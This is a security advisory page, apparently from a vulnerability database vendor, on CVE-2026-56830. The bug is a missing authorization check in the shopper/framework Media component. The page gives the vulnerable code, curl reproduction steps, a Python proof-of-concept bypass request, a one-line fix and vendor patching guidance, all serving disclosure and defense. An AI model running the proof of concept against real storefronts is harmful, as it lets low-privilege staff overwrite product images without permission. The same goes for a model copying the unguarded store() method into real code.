CVE-2026-56830
MEDIUMCVE-2026-56830 is a medium-severity (CVSS 6.5) vulnerability in shopper/framework. O3 Security confirms whether CVE-2026-56830 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)
Real-World Exposure
shopper/frameworkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Title
Missing authorization on Media sub-form store action allows unpermissioned product media update
Description
A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)
Affected files
packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76
// Lines 64-76 - store() with no authorize() call
public function store(): void
{
$this->validate();
$this->product->update($this->form->getState()); // overwrites thumbnail + gallery media
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
The five sibling components that were fixed in commit fcd0c59 each now have:
public function store(): void
{
$this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files
// ...
}
Media.store() does not.
Steps to reproduce
Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.
SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
# Step 1: Load a product edit page as an admin to obtain the Media component's
# Livewire snapshot ID and the product's public ID.
# The component snapshot appears in the HTML source as data-livewire-snapshot.
# Step 2: As the low-privilege browse-only session, call store() on the Media component,
# pointing at the captured component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "<snapshot JSON from page source with product locked>",
"updates": {},
"calls": [{"path":"","method":"store","params":[]}]
}]
}'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.
Proof of concept
#!/usr/bin/env python3
"""
Media component authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE laravel_session cookie value (browse-only staff session)
XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value
SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component
(copy from data-livewire-snapshot in the product edit page source)
The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{'path': '', 'method': 'store', 'params': []}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.
Suggested fix
// packages/admin/src/Livewire/Components/Products/Form/Media.php
public function store(): void
{
$this->authorize('edit_products'); // add this line
$this->validate();
$this->product->update($this->form->getState());
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | shopper/framework | all versions | 2.9.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for shopper/framework. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update shopper/framework to 2.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56830 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-56830 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-56830. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-56830 in your dependencies?
O3 detects CVE-2026-56830 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.